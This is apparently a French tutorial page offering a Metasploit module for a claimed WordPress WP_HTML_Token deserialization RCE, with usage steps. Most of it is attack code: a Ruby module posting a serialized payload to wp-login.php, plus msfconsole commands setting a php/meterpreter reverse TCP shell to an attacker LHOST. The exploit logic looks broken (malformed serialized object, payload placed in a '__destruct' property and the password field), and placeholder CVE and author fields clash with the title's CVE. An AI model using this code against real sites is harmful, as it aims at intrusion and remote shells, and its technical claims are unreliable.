
Module Metasploit qui exploite une vulnérabilité de désérialisation WordPress (CVE-2024-31211) dans WP_HTML_Token pour parvenir à une exécution de code à distance.
Pour créer un module Metasploit qui exploite la vulnérabilité RCE dans WordPress via la désérialisation d'instances de la classe WP_HTML_Token, nous allons nous concentrer sur la construction d'une charge utile qui déclenche la faille de désérialisation, menant à une exécution de code arbitraire.
Enregistrez le code suivant sous wordpress_wp_html_token_rce.rb dans le répertoire modules/exploits/multi/http de votre installation Metasploit Framework.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP_HTML_Token Unserialization RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in WordPress via
the unserialization of instances of the `WP_HTML_Token` class. This allows for
code execution via its `__destruct()` magic method.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-XXXX'], # Replace with the correct CVE number
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['WordPress <= 5.x', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
}
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
})
if res && res.code == 200 && res.body.include?('wp-login.php')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending payload to trigger unserialization vulnerability")
serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'
post_data = {
'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
'user_pass' => serialized_payload,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
'testcookie' => 1
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'vars_post' => post_data
})
handler
end
end
Enregistrer le module :
Enregistrez le module sous wordpress_wp_html_token_rce.rb dans le répertoire modules/exploits/multi/http de votre installation Metasploit Framework.
/path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
Lancer Metasploit : Démarrez Metasploit Framework en ouvrant un terminal et en exécutant :
msfconsole
Utiliser le nouveau module : Dans la console Metasploit, chargez le nouveau module d'exploitation avec la commande suivante :
use exploit/multi/http/wordpress_wp_html_token_rce
Configurer et exécuter :
Définissez les options nécessaires, telles que RHOSTS, RPORT, TARGETURI et PAYLOAD. Exécutez ensuite le module.
msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
LHOST => your_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
Ce module Metasploit envoie une charge utile sérialisée conçue à une instance WordPress vulnérable, tentant de déclencher la vulnérabilité de désérialisation et d'obtenir une exécution de code arbitraire. Ajustez la charge utile et le module selon les besoins en fonction de la nature spécifique de la vulnérabilité et de l'environnement cible.